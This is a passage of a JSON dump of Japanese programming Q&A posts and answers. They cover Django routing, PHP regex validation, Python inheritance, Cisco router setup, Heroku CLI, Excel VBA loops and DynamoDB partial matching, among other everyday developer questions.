book_pk=None):\n return JsonResponse({\"book\":f\"book({book_pk}) open command({pk})\"}, json_dumps_params={'indent': 2})\n \n```\n\n# URLパス\n\nurl | response \n---|--- \n[GET]<http://127.0.0.1:8000/api/version> | { \"version\": \"ver 1.2\" } \n[GET]<http://127.0.0.1:8000/api/v1/book> | { \"book\": \"all book list\" } \n[POST]<http://127.0.0.1:8000/api/v1/book/> | { \"book\": \"book create\" } \n[GET]<http://127.0.0.1:8000/api/v1/book/1> | { \"book\": \"book id = 1\" } \n[GET]<http://127.0.0.1:8000/api/v1/book/open> | { \"book\": \"book open command\"\n} \n[GET]<http://127.0.0.1:8000/api/v1/book/close> | { \"book\": \"book close\ncommand\" } \n[GET]<http://127.0.0.1:8000/api/v1/book/1/open> | { \"book\": \"book(1) open\ncommand\" } \n[GET]<http://127.0.0.1:8000/api/v1/book/1/open/2> | { \"book\": \"book(1) open\ncommand(2)\" } \n \n**注意：** \nPOSTコマンドの末尾`/`が必須です。 \nこの理由がお分かりの方はコメントにて追加情報をいただけるとありがたいです。",
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"body": "英語版StackOverflowとのクロスポストです。\n\niOSアプリで、複数の言語で異なる動画を表示したいです。\n\n 1. project -> Info -> Localizationsで「Use Base Internationalization」のチェックを外す。\n 2. Englishをデフォルトにする。\n 3. Japaneseを追加する。\n 4. 動画をプロジェクトに追加する。\n 5. 動画を選択してXcodeの右パネルで「Localize...」をクリック。\n 6. EnglishとJapaneseにチェックを入れる。\n 7. en.lproj と ja.lproj のファイルをFinderでそれぞれの言語のバージョンに置き換える。\n 8. 以下のコードで動画のURLを取得する： `let url = Bundle.main.url(forResource: \"The movie\", withExtension: \"mp4\")`\n 9. アプリを実行すると日本語版が再生される（シミュレータの言語が日本語なので）\n 10. 実行スキームを編集して「App Language」をEnglishに変更。\n 11. アプリを実行すると日本語版が再生される（期待している動作は、英語版が再生されることです）。\n\n[](https://i.stack.imgur.com/upgDM.png)\n\n何が問題なのでしょうか？",
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"title": "プロジェクト内の動画ファイルをローカライズする方法について",
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"body": "\"Clean Build Folder...\" を実行すると期待した動作になりました。\n\nシミュレーター内のアプリバンドル（拡張子が.appのファイル）を確認すると、古いローカライズされていないバージョンの動画ファイルが残っていました。そこで、\"Clean\nBuild Folder...\"を実行し再度ビルドすると、ローカライズされたバージョンの動画がアプリ内に表示されました。",
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"body": "PHPにてDBをUPDATEするためのソースを記述していて、バリデーションのためにIFでチェック \nしようとしています。 \nしかしながら、「英数字記号以外ならばtrueを返してエラーを表示」すると記述している \nつもりですが、英字のみで書いてもエラーになってしまいます。 \nエラー内容は「ユーザー・パスワードは半角英数字記号で入力します。」です。 \n試しに英数字記号（英字は大文字・小文字含む）を全て含めてみても結果は同じでした。 \n原因と思われる部分をお聞かせいただきたく存じます。 \nコードを添付します。\n\n```\n\n <?php \n var_dump($_REQUEST['password']);\n try{\n require_once('db_connect.php');\n $sql=$pdo->prepare('update user_table set last_name=?, first_name=?, last_name_kana=?, first_name_kana=?, user=?, password=? where id=? ');\n if(empty($_REQUEST['sei']) || empty($_REQUEST['mei']) || empty($_REQUEST['sei_kana']) || empty($_REQUEST['mei_kana']) || empty($_REQUEST['user']) || empty($_REQUEST['password']))\n {\n echo '未入力の項目があります。';\n }\n else if(!preg_match('/\\A[ア-ヿ]+\\z/u', $_REQUEST['sei_kana']) || !preg_match('/\\A[ア-ヿ]+\\z/u', $_REQUEST['mei_kana']))\n {\n echo 'カナ名は全角カナで入力してください。';\n }\n else if(!preg_match('<^[a-zA-Z0-9!#$%()*+-./:;=?@[]^_`{|}]{1,}$>', $_REQUEST['user']) || !preg_match('<^[a-zA-Z0-9!#$%()*+-./:;=?@[]^_`{|}]{1,}$>', $_REQUEST['password']))\n {\n echo 'ユーザー・パスワードは半角英数字記号で入力します。';\n }\n else if($_REQUEST['password'] !== $_REQUEST['password2'])\n {\n echo '2つのパスワードが一致してません。';\n }\n else if($sql->execute([htmlspecialchars($_REQUEST['sei'],$_REQUEST['mei'],$_REQUEST['sei_kana'],$_REQUEST['mei_kana'],$_REQUEST['user'],$_REQUEST['password'], ENT_QUOTES | ENT_HTML5, 'UTF-8')]))\n {\n echo '更新に成功しました。';\n }\n else {\n echo '更新に失敗しました。';\n }}\n catch(PDOException $e)\n {\n echo \"次がエラーの内容です。;\" .$e->getMessage();\n }\n ?>\n \n```",
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"title": "phpのpreg_matchが上手く効かない",
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"body": "[`preg_match`](https://www.php.net/manual/ja/function.preg-\nmatch.php)のパターンが`<`で始まり`>`で終わっていることが原因のように思います。 \n`<>`は`?P<name>`のような構文で[名前付きサブパターン](https://www.php.net/manual/ja/regexp.reference.subpatterns.php)として利用することが多いです。 \n`/`で前後を囲むコードの誤字でしょうか？コードに意図がある場合は質問に追記してください。\n\n**サンプルコード**\n\n```\n\n <?php\n print(preg_match('/^[a-zA-Z0-9!#$%()*+-\\.\\/:;=?@\\[\\]^_`{|}]{1,}$/', 'azAZ09!#$%()=|-^`{+*}?_@[;:],./')); //\"&<>'~\\\n print(preg_match('/^[!-~]+$/', 'azAZ09!\"#$%&\\'()=~|-^`{+*}<>?_@[;:],.\\\\/'));\n ?>\n \n```\n\nサンプルコードの上段がパスワードチェック用の正規表現を書き直したものです。 \n下段が英数字記号を1文字以上含む正規表現の例です。 \n下段の例は上段で対象外となる記号の`\"&<>'~\\`を許容するのでご注意ください。\n\n**参考資料**\n\n * [phpで文字列に「英数字記号」を含むかどうかチェックしたい](https://teratail.com/questions/102616)",
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"body": "子クラスで親クラスに一部メソッドを許可し、ほかを不許可としたいです。\n\n```\n\n class A():\n def a(self):\n print('a')\n \n def b(self):\n print('b')\n \n class B(A):\n def b(self):\n super().b()\n print('bb')\n \n```\n\nこのようなコードの場合、class Bのインスタンスでは、メソッドaを呼び出せないようにしたい。 \nなお、既定のパッケージから継承するので、メソッド名に `__` をつけて回避する方法がとれません。",
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"title": "Pythonの親クラスにあるメソッドの一部を継承しない方法",
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"body": "基底クラスを変更できない場合、pythonで完全に継承元メソッドを隠ぺいすることはできないと思います。 \nただしコメントのリンク先にある方法など、対応方法はいくつか考えられます。\n\n### raise 実行時エラー\n\n[How to perform partial\ninheritance](https://stackoverflow.com/a/11204743)の回答にあるように、関数呼び出しで例外を発生させれば有無を言わせずに関数呼び出しが中断させられます。 \n下記のコードでは class B の a関数に`raise NotImplementedError`を記述しています。\n\n```\n\n class A():\n def a(self):\n print('a')\n \n def b(self):\n print('b')\n \n class B(A):\n def a(self):\n raise NotImplementedError\n \n def b(self):\n super().b()\n print('bb')\n \n a1 = A()\n a1.a()\n b1 = B()\n b1.a()\n print(\"done.\")\n \n```\n\n**例外の例**\n\n```\n\n 例外が発生しました: NotImplementedError\n exception: no description\n File \"C:\\hoge.py\", line 10, in a\n raise NotImplementedError\n File \"C:\\hoge.py\", line 19, in <module>\n b1.a()\n NotImplementedError: \n \n```\n\n### debtcollector 実行時警告\n\n関数を呼び出した時に、エラーを出して強制終了するほどではないけれど警告を出したい場合は、[debtcollector](https://pypi.org/project/debtcollector/)パッケージを導入するときれいに警告を記述できます。 \n下記のコードでは class B の a関数の上に `@removals.remove`デコレータを記述し、`b1.a()`を実行した時に警告を表示します。\n\n```\n\n from debtcollector import removals\n \n class A():\n def a(self):\n print('a')\n \n def b(self):\n print('b')\n \n class B(A):\n @removals.remove(message=\"Bクラスのa関数は使用禁止です\")\n def a(self):\n super().a()\n print('aa') \n \n def b(self):\n super().b()\n print('bb')\n \n a1 = A()\n a1.a()\n b1 = B()\n b1.a()\n print(\"done.\")\n \n```\n\n**出力例**\n\n```\n\n a\n C:\\hoge.py:23: DeprecationWarning: Using function/method 'B.a()' is deprecated: Bクラスのa関数は使用禁止です\n b1.a()\n a\n aa\n done.\n \n```\n\n### Facadeパターンもどきでエラー\n\nどうしてもBクラスのa関数を呼び出したくないというか、むしろBクラスはb関数しか呼び出したくないなど、呼び出す関数やプロパティが非常に少ないならば、呼び出しを限定する窓口クラスに処理を移譲する方法があります。 \n下記のコードでは class Bdash が class B を内部的に保持して、 b関数のみ公開しています。\n\n```\n\n class A():\n def a(self):\n print('a')\n \n def b(self):\n print('b')\n \n class B(A):\n def b(self):\n super().b()\n print('bb')\n \n class Bdash:\n def __init__(self):\n self.b1 = B()\n \n def b(self):\n self.b1.b()\n \n a1 = A()\n a1.a()\n b1 = Bdash()\n b1.a()\n print(\"done.\")\n \n```\n\n**例外の例**\n\n```\n\n 例外が発生しました: AttributeError\n 'Bdash' object has no attribute 'a'\n File \"C:\\hoge.py\", line 26, in <module>\n b1.a()\n ^^^^\n AttributeError: 'Bdash' object has no attribute 'a'\n \n```",
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{
"body": "### 型で呼び出し不可を表現する方法\n\n型ヒントの付与でメソッドの呼び出しを禁止する方法も有ります。例えば[`Never`](https://docs.python.org/ja/3/library/typing.html#typing.Never)です。\n\n```\n\n from typing import Never, NoReturn\n #from warnings import warn\n \n \n def a(self: Never) -> NoReturn: # type: ignore\n # warn(\"This method is deprecated.\", DeprecationWarning)\n raise RuntimeError(\"This method is deprecated.\")\n \n```\n\nこれで、Mypy や Pyright などでの実行前の検査でエラーになります。Pythonのバージョンが古く、`Never`\nが無い場合は適当な型を自作しても良いですし、`NoReturn`\nだけでもある程度機能します。要するに、呼び出し箇所と型の不一致を発生させれば何でもよいです。\n\nもちろん、型検査をするにしろ、実行時に警告や例外を出す処理も有った方がよいと思います。",
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"body": "勉強用にCisco統合型ルータを購入しました。自宅のインターネットはモデム→WiFiルータ(有線/無線)で利用しています。Wifiルータと統合型ルータを繋げインターネットを利用することは可能でしょうか。\n\n### 環境\n\n * 以下でインターネット接続 \nモデム(LANポート)⇔WiFiルータ(WANポート)\n\n * WiFiルータからは無線でPCを利用中\n\n### 実現したいこと\n\nWiFiルータと統合型ルータを繋げ、さらに統合型ルータのLANポートにPCを接続し、インターネットに出たい\n\n### 機器環境\n\nモデム：LANポート1口のみ \nWiFiルータ：WANポートは1口のみ。LANポートは4口あり \n統合型ルータ：WANポート2口(GE/FE)、LANポート8口\n\n初心者ですみません。解決のためにどうかよろしくお願いします。",
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"title": "WiFiルータと統合型ルータを繋げインターネットを利用することは可能でしょうか",
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"body": "オイラたち読者からすると型番も何もわからないので答えようがない、ってのが正直なところなわけですが\n\nその Cisco の統合型ルータとあなたの使っている Wifi\nルータとはほぼ同じ機能を持っていることが推測されます。んで、勉強のためならば俗にいう二重ルータは邪魔なだけなので（両方を正しく設定できるのなら既に理解済みってこと）どっちかを無効にしたくなります。\nCisco ルータの勉強をしたいのに Cisco ルータを無効にしてもしかたないので WiFi\nルータの機能のうちの「ルータ部」を無効にする必要がありそうです。要するに単なるアクセスポイントモードにする、ってこと。逆に `PPPoE` 機能を\nCisco ルータ側で有効にする正しくアカウント設定する、ことができないと ISP の認証が通りません。\n\nあと一言でモデムと言い切っちゃっていますが実は単純 ONU だったりルータ機能付き ONU\nだったりする可能性がある（が読者にはわからない）ので、もしかしたらこっちのルータ機能も無効にする必要があるかもしれません。\n\nというわけで\n\n * PPPoE などのアカウント認証をどの機器でするか決めて正しく設定する\n * ルータ機能を持つ機器が複数ある状況と推定されるので、１個だけ有効にして他は無効にする（当然 Cisco ルータ有効にする）\n * 無線が必要なら WiFi ルータをアクセスポイントモードにする \n最初は無線に手を出さずに有線オンリーのほうがおすすめ\n\n * 正しく設定できるまで Flets 光電話とか使えないかもしれないけど大丈夫？\n\n「可能か？」という質問に対する答えは「可能でしょう」となります。そこまで自力でたどり着けるかどうかは話は別。もしかしたら現在の機器ではできなくて買い替えが必要かもしれません。\n\nルータ機能を下手に無効化すると、たとえ一時的であっても The Internet 上を常時流れている無差別攻撃通信からあなたの PC\nを保護できなくなって、踏み台にされる→各種犯罪行為があなたの IP\nアドレスから行われる、みたいなことになりかねないです。そういうリスクは想定しておいてください。\n\n* * *\n\nどうしても実機という条件からは外れますがシミュレータでちょっと勉強してから実機に手を出してもよいかもしれないっスね。 Cisco Packet Tracer\nとか評判よさそうです。日本語解説記事もいっぱい見つかりますし。無料ですけどユーザー登録は必要なので直リンクは無し。\n\n実機を使う場合も、クラックされて構わない別の PC を１台用意し（ネットワークセグメント分離の勉強ならもう１台あると便利）普段使いの PC\nは実験ネットからは物理分離すると安心。 4G/5G 携帯電話回線＋スマホによるテザリングとかあれば完璧っス。\n\nコメント中の Q\nはコメント欄で続けるにはもったいないので新規質問にしていただくと皆が喜ぶでしょう。オイラよりネットワークに詳しい人がいくらでも答えてくれる（あるいはツッコミを入れる）でしょう。",
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"body": "SqlDataReaderでimageデータ型のbyte配列をデータ型で取り出したい。\n\n今のところ `sqldatareader.getbytes()` を使うやり方があるみたいだけど使い方がわからない。",
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"body": "`image`型は[`SqlDataReader.GetStream()`](https://learn.microsoft.com/ja-\njp/dotnet/api/system.data.sqlclient.sqldatareader.getstream?view=dotnet-plat-\next-7.0)で取得します。",
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{
"body": "> SqlDataReaderでimageデータ型のbyte配列をデータ型で取り出したい。\n\nItem プロパティで当該 Image 列の値を取得し、byte[] にキャストすれば取れます。\n\nSqlDataReader.Item[] プロパティ \n<https://learn.microsoft.com/ja-\njp/dotnet/api/system.data.sqlclient.sqldatareader.item>\n\n例えば以下の Photo という image のフィールドの場合、\n\n[](https://i.stack.imgur.com/LdilP.jpg)\n\n以下の通り Item プロパティを使って値を取得し、byte[] にキャストすれば取れます。\n\n[](https://i.stack.imgur.com/7aJcm.jpg)",
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"body": "以下ページから64ビット版のインストーラーを使ってインストール完了し、コマンドプロンプトで `heroku`\nと打ったら以下のようなエラーがでます。解決方法を教えてください。\n\n<https://devcenter.heroku.com/ja/articles/heroku-cli>\n\n```\n\n 'heroku' は、内部コマンドまたは外部コマンド、\n 操作可能なプログラムまたはバッチ ファイルとして認識されていません。\n \n```",
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"title": "コマンドプロンプトでHeroku CLIが使えない",
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"body": "herokuの **インストール前** にあらかじめコマンドプロンプトを開いた場合、herokuインストール完了後に`heroku\n--version`などをコマンド実行するとご質問のエラーが発生します。 \nコマンドプロンプトを新たに開きなおしてエラーが解消しているかご確認ください。\n\n蛇足ですが、これは該当のコマンドプロンプトに`heroku.exe`のパスが反映されていないことが原因です。 \nコマンドプロンプトを開きなおして`echo %PATH%`を入力すると、標準インストール後には末尾に`;C:\\Program\nFiles\\heroku\\bin`が追加されます。 \nこのパス追加処理はインストールオプション(`Set PATH to\nheroku`チェックボックス)で変更できます。標準でこのオプションにチェックが入っているので考えにくいですが、コマンドプロンプトを立ち上げなおしてもエラーが解消しない場合はこのチェックを外していてパスが追加されていない可能性もあります。\n\nコマンドプロンプトが`heroku`や`notepad`と入力を受け付けると、カレントディレクトリや`%PATH%`のフォルダを順番に検索して`heroku.exe`を探していきます。 \nパスはコマンドプロンプト起動時に読み込まれ、起動中に自動で再読み込みはされないため、パスが追加される前に開いたコマンドプロンプトではherokuの場所を特定できないことがエラーの原因となります。",
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"body": "お世話になります。 \nPowerBIを利用して、可視化ダッシュボードの製作を試みていますが、下記のことが出来ません。\n\n■読込むデータは下記の様なExcelデータ \nA B C D \n1 0.2 0.5 0.8 0.1 \n2 1.2 1.3 1.4 1.5 \n3 2.3 2.1 0.5 2.8 \n4 5.1 4.0 3.8 2.6 \n5 4.8 3.8 2.1 2.7\n\n上記と同型のデータが５つほどあります。 \nPowerBIを使って、X軸が12345、Y軸にA列の数値として折れ線グラフを作ります。\n\nPowerBIでは、５つのデータのA列数値について、B列数値について、C列数値について・・とそれぞれの列に対応した折れ線グラフを作りたいと考えます。\n\nここで、では折れ線グラフを対象数値ごとに作れば・・という考えもありますが、 \nできれば、折れ線グラフ一つでスライサーなどを用いて、５つのデータの「A列のデータ」「B列のデータ」・・という風に表示できればいいなと考えています。\n\nフィルタやグルーピング機能など、なにか方策がございましたら、ご教示ください。\n\nなお、リレーションシップに５つのデータの12345（一列目の値）を連結させています。\n\n以上、宜しくお願いいたします。",
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"title": "Power BIを利用して、グラフをカテゴリ別表示をしたい",
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"body": "### 実現したいこと\n\nNavigationBarとグラフ表示用のViewとの間にある青い余白を取り除きたい。\n\n### 前提\n\n横向きの画面を作っていますが、iPhone8やSEなど画面サイズが小さいデバイスでシミュレーターを起動したら下の画像のようにNavigationBarとグラフを表示するViewとの間に謎の青い余白が表示されています。iPhone11など他のデバイスではこのような余白は表示されていないです。 \nNaviagtionBarにカスタムViewを設定しており、その部分かAutoLayoutの設定に問題があるのかと思い調査しましたが、この問題を自力で解決することができなかったのでご教示をお願いしたいです。\n\n**この質問はマルチポストしています** \n<https://teratail.com/questions/rpz904caxl8gep> \n次回以降の質問ではマルチポストを行わないようにします。\n\n### 発生している問題\n\n問題の画面（iPhone8） \n[](https://i.stack.imgur.com/JrgRb.png)\n\n期待通りの画面（iPhone11） \n[](https://i.stack.imgur.com/T1ooo.png)\n\n### コード\n\nどこに原因があるがわからないので、他に記載した方が良い部分があれば指摘していただけると嬉しいです。\n\nNavigationBarのAutoLayout設定\n\n```\n\n extension GraphViewController {\n func navigationBarAutoLayoutSetting(){\n graphView.navigationBar.translatesAutoresizingMaskIntoConstraints = false\n \n NSLayoutConstraint.activate([\n graphView.navigationBar.topAnchor.constraint(equalTo: self.view.topAnchor),\n graphView.navigationBar.leadingAnchor.constraint(equalTo: self.view.leadingAnchor),\n graphView.navigationBar.trailingAnchor.constraint(equalTo: self.view.trailingAnchor),\n graphView.navigationBar.bottomAnchor.constraint(equalTo: graphView.graphAreaView.topAnchor)\n ])\n }\n }\n \n```\n\nグラフ表示用のViewのAutoLayout設定\n\n```\n\n extension GraphViewController {\n func graphAreaViewAutoLayoutSetting() {\n \n graphView.translatesAutoresizingMaskIntoConstraints = false\n \n let bottomMargin = safeAreaBottom + 10.0\n let leftMargin = safeAreaLeft + 5.0\n let rightMargin = safeAreaRight + 5.0\n \n NSLayoutConstraint.activate([\n graphView.graphAreaView.topAnchor.constraint(equalTo: self.view.topAnchor, constant:self.graphView.navigationBar.frame.size.height),\n graphView.graphAreaView.leadingAnchor.constraint(equalTo: self.view.leadingAnchor, constant: leftMargin),\n graphView.graphAreaView.trailingAnchor.constraint(equalTo: self.view.trailingAnchor, constant: -rightMargin),\n graphView.graphAreaView.bottomAnchor.constraint(equalTo: self.view.bottomAnchor, constant: -bottomMargin),\n ])\n }\n }\n \n```\n\nNavigationBarのカスタムViewの設定\n\n```\n\n extension GraphViewController {\n func navigationBarTitleSetting (){\n \n let yearText = \"2023\"\n let dateText = \"5.1 - 5.31\"\n let dateFontSize: CGFloat = 18.0\n let fontSize: CGFloat = 14.0\n \n // カスタムビューをインスタンス化\n let customTitleView = UIView(frame: CGRect(x: 0, y: 0, width: 200, height: 44))\n \n // UILabelを作成してテキストを設定\n let yearTextLabel = UILabel(frame: CGRect(x: 0, y: 0, width: 100, height: 22))\n yearTextLabel.text = yearText\n yearTextLabel.font = UIFont(name: \"Thonburi\", size: fontSize)\n yearTextLabel.textColor = .black\n yearTextLabel.sizeToFit()\n \n let dateTextLabel = UILabel(frame: CGRect(x: 0, y: 0, width: 100, height: 22))\n dateTextLabel.text = dateText\n dateTextLabel.font = UIFont(name: \"Thonburi-Bold\", size: dateFontSize)\n dateTextLabel.textColor = .black\n dateTextLabel.sizeToFit()\n \n //AutoLayoutを使用するための設定\n yearTextLabel.translatesAutoresizingMaskIntoConstraints = false\n dateTextLabel.translatesAutoresizingMaskIntoConstraints = false\n \n // カスタムビューにUILabelを追加\n customTitleView.addSubview(yearTextLabel)\n customTitleView.addSubview(dateTextLabel)\n \n //AutoLayoutの設定\n NSLayoutConstraint.activate([\n yearTextLabel.centerYAnchor.constraint(equalTo: customTitleView.centerYAnchor),\n yearTextLabel.leadingAnchor.constraint(equalTo: yearTextLabel.leadingAnchor),\n yearTextLabel.trailingAnchor.constraint(equalTo: dateTextLabel.leadingAnchor, constant: -12.0),\n \n dateTextLabel.centerYAnchor.constraint(equalTo: customTitleView.centerYAnchor),\n dateTextLabel.trailingAnchor.constraint(equalTo: dateTextLabel.trailingAnchor),\n dateTextLabel.centerXAnchor.constraint(equalTo: customTitleView.centerXAnchor),\n ])\n //カスタムビューをNavigationBarに追加\n graphView.navigationItem.titleView = customTitleView\n }\n }\n \n```\n\n### 試したこと\n\n下記の記事等を参考に試行錯誤しましたが、解決できませんでした。\n\n[【Swift】Xcode9+iOS11でUINavigationBarが正しく表示できなくて困った話](https://uruly.xyz/%E3%80%90swift%E3%80%91xcode9ios11%E3%81%A7uinavigationbar%E3%81%8C%E6%AD%A3%E3%81%97%E3%81%8F%E8%A1%A8%E7%A4%BA%E3%81%A7%E3%81%8D%E3%81%AA%E3%81%8F%E3%81%A6%E5%9B%B0%E3%81%A3%E3%81%9F%E8%A9%B1/) \n[iOS11.0でUINavigationBarの高さが正しく表示されない現象について](https://qiita.com/KikurageChan/items/4152c2d8ac89c601a054)",
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"title": "NavigationBarの下の謎の余白を取り除きたい",
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"body": "以下のように自己解決しました。\n\n**解決方法** \nNavigationBarの高さを32ptとする制約を追加した。\n\n**問題の原因** \nNavigationBarとそれに乗っているViewとで高さに違いがあり、最下層のNavigationBarの下部分がはみ出していたため。\n\nXCodeのビューデバッカーを使用しNavigatonBarのViewヒエラルキーを確認したところ、最下層のNavigationBarの高さが44ptなのに対し、それより上位のViewの高さは32ptでした。なのでその差分の12ptが下にはみ出して表示されており、それが青い余白の原因でした。 \nなので最下層のNavigationBarの高さを上位のView達と同じ32ptにしたら余白が消えました。 \n[](https://i.stack.imgur.com/8W9TK.png)",
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"body": "現在SQLの学習をしているのですが、VScodeのpostgreSQLだとDATE型が登録したデータと表示されているデータが異なって表示されてしまっています。 \npgAdminでは正常に表示されたのでVScode内の問題だとは思うのですが何分初心者なので詳しくわかりません。 \n[](https://i.stack.imgur.com/zCYiu.png)\n\n追記: <https://github.com/Borvik/vscode-postgres/issues/219> \nは確認済み \nCURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMPの結果(2023/06/14 16:34) \n[](https://i.stack.imgur.com/NHxYw.png)\n\n実行環境 \nWindows11 \nVSCode 1.79.1 \npostgre 15.3 \npgAdmin4 7.1\n\n追記:VSCode拡張機能一覧 \n・Auto Rename\nTag(<https://marketplace.visualstudio.com/items?itemName=formulahendry.auto-\nrename-tag>) \n・Community Material\nTheme(<https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-\ncommunity-material-theme>) \n・Extension Pack for\nJava(<https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-\npack>) \n・Debugger for\nJava(<https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-\ndebug>) \n・Language Support for Java(TM) by Red\nHat(<https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-\npack>) \n・Test Runner for\nJava(<https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-\ntest>) \n・Maven for\nJava(<https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-\nmaven>) \n・Project Manager for\nJava(<https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-\ndependency>) \n・IntelliCode(<https://marketplace.visualstudio.com/items?itemName=VisualStudioExptTeam.vscodeintellicode>) \n・indent-\nrainbow(<https://marketplace.visualstudio.com/items?itemName=oderwat.indent-\nrainbow>) \n・Indenticator(<https://marketplace.visualstudio.com/items?itemName=SirTori.indenticator>) \n・apanese Language Pack for Visual Studio\nCode(<https://marketplace.visualstudio.com/items?itemName=MS-CEINTL.vscode-\nlanguage-pack-ja>) \n・Jupyter(<https://marketplace.visualstudio.com/items?itemName=ms-\ntoolsai.jupyter>) \n・Jupyter Cell Tags(<https://marketplace.visualstudio.com/items?itemName=ms-\ntoolsai.vscode-jupyter-cell-tags>) \n・Jupyter Keymap(<https://marketplace.visualstudio.com/items?itemName=ms-\ntoolsai.jupyter-keymap>) \n・Jupyter Notebook\nRenderers(<https://marketplace.visualstudio.com/items?itemName=ms-\ntoolsai.jupyter-renderers>) \n・Jupyter Slide Show(<https://marketplace.visualstudio.com/items?itemName=ms-\ntoolsai.vscode-jupyter-slideshow>) \n・markdownlint(<https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-\nmarkdownlint>) \n・Material Icon\nTheme(<https://marketplace.visualstudio.com/items?itemName=PKief.material-\nicon-theme>) \n・Material\nTheme(<https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-\nmaterial-theme>) \n・Material Theme\nIcons(<https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-\nmaterial-theme-icons>) \n・Output\nColorizer(<https://marketplace.visualstudio.com/items?itemName=IBM.output-\ncolorizer>) \n・PostgreSQL(<https://marketplace.visualstudio.com/items?itemName=ckolkman.vscode-\npostgres>) \n・Prettier - Code\nformatter(<https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-\nvscode>) \n・Pylance(<https://marketplace.visualstudio.com/items?itemName=ms-\npython.vscode-pylance>) \n・Python(<https://marketplace.visualstudio.com/items?itemName=ms-\npython.python>) \n・vscode-icons(<https://marketplace.visualstudio.com/items?itemName=vscode-\nicons-team.vscode-icons>) \n・",
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"title": "vscode内でSELECT文出力したところ、１日ずれてしまう",
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"body": "Spresense-Arduino のスケッチ例 pcm_captureを用いてマイクに入力されたデータをcsvに書き込み， \n後々処理することができたらなと考えています．\n\n今現在，モノラルでマイクAからの入力されたデータの表示をしたいのですが， \nPCMで取り出したデータには，WAVのRIFFフォーマットのような形で，ヘッダーかフッターに音声とは別の \n固定のデータが入っているのでしょうか． \nもし，入っているのだとすれば，何バイト分どの箇所にデータがあるのでしょうか．\n\nまた，うまくいけば，ステレオでマイクAマイクBからのデータの入力されたデータの表示もしたいのですが， \nその場合のデータ構造はどのようになるのでしょうか．\n\n分かる方いらっしゃいましたら，ご教授いただきたいです．",
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"title": "Spresense-Arduino のスケッチ例 pcm_captureのデータ構造について",
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"body": "ループしない以外は、成功しております。ただ、 **For i = ActiveCell.End(xlDown).Row**\nが構文エラーとなってます。決まった範囲ではないので、選択しているセルから最後の行までループしたく。\n\nまた、右隣（コメントの値となるセル）が空白の場合はスルーする処理も追加できたら幸いです。宜しくお願い致します。\n\n```\n\n Sub 右隣のセルをコメントとして挿入()\n Dim r As Range\n \n On Error Resume Next 'エラーを無視\n \n For i = ActiveCell.End(xlDown).Row\n \n Dim Mytext As String\n Mytext = ActiveCell.Offset(0, 1).Value\n \n ActiveCell.Select\n ActiveCell.AddComment Text:=Mytext\n \n \n Next i\n \n \n End Sub\n \n```",
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"title": "エクセルで右隣のセルの値をコメントとして挿入したいのですが。ループ出来ず悩んでいます。",
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"body": "Excel VBAのFor文は`For i = 1 to 10`のように記述します。 \nご質問のコードでは`to`が足りないため構文エラーになります。\n\n**サンプルコード**\n\n```\n\n Sub 右隣のセルをコメントとして挿入()\n Dim targetCol As Integer\n targetCol = 2 'コメントを入れる列番号\n \n For r = Selection.Row To Cells(Rows.Count, targetCol).End(xlUp).Row\n Dim Mytext As String\n Mytext = Cells(r, targetCol + 1).Value\n If Mytext <> \"\" Then\n Cells(r, targetCol).AddComment (Mytext)\n End If\n Next r\n End Sub\n \n```",
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"body": "DynamoDBに `090--`, `080--` のような電話番号が登録されております。\n\n下記のコードでは電話番号の完全一致は実現可能ですが、「090」「080」のみの部分一致でもDynamoDBから電話番号を取得する場合、どのようなコードを追加すれば実現可能でしょうか？\n\nAmazonConnectの「問い合わせ属性を確認するブロック」では、result が true かどうかを条件に分岐しています。 \nLambdaのコードでは、true(Boolean) で返していますが、問い合わせフローに戻った時点ではstringとして処理されています。 \n「問い合わせ属性を確認するブロック」でresult が 「090」「080」の部分一致の場合でも分岐させたいです。\n\n部分一致では `return (item.PhoneNumber in phone);`\nを追記すれば良さそうなのですが、下記コードを追記しただけでは処理してくれませんでした。 \n「in」の追記以外にも何か追記するのでしょうか？\n\n[](https://i.stack.imgur.com/2qv5j.jpg)\n\n```\n\n const AWS = require(\"aws-sdk\");\n const DynamoDB = new AWS.DynamoDB.DocumentClient({ region: \"ap-southeast-2\" });\n const tableName = 'PhoneNumberTable';\n \n exports.handler = async (event) => {\n // 発信者番号\n const phone = event.Details.ContactData.CustomerEndpoint.Address;\n // DynamoDBの一覧取得\n const db = await DynamoDB.scan({TableName: tableName}).promise();\n // 発信者番号が一覧に存在するかどうかの確認\n const result = db.Items.some( item => {\n return (item.PhoneNumber == phone);\n return (item.PhoneNumber in phone); // 追記箇所\n });\n return { result : result };\n };\n \n```",
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"title": "DynamoDBで部分一致させるには？",
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"body": "DynamoDB の Query では key condition expression や filter expression\nが利用できます。`PhoneNumber` アトリビュートが primary key なのかどうかでどちらを利用するかが変わります。\n\nどちらの expression も利用できる演算子はそう多くないですが、幸運にも `begins_with` はどちらでも利用できます。今回は「`080-`\nから始まる」と「`090-` から始まる」が使えるでしょう。\n\nそれぞれの expression の意味と具体的な実装については以下のドキュメントを参考にしてください：\n\n * <https://docs.aws.amazon.com/ja_jp/amazondynamodb/latest/developerguide/Query.html>\n * <https://docs.aws.amazon.com/AWSJavaScriptSDK/latest/AWS/DynamoDB.html#scan-property>",
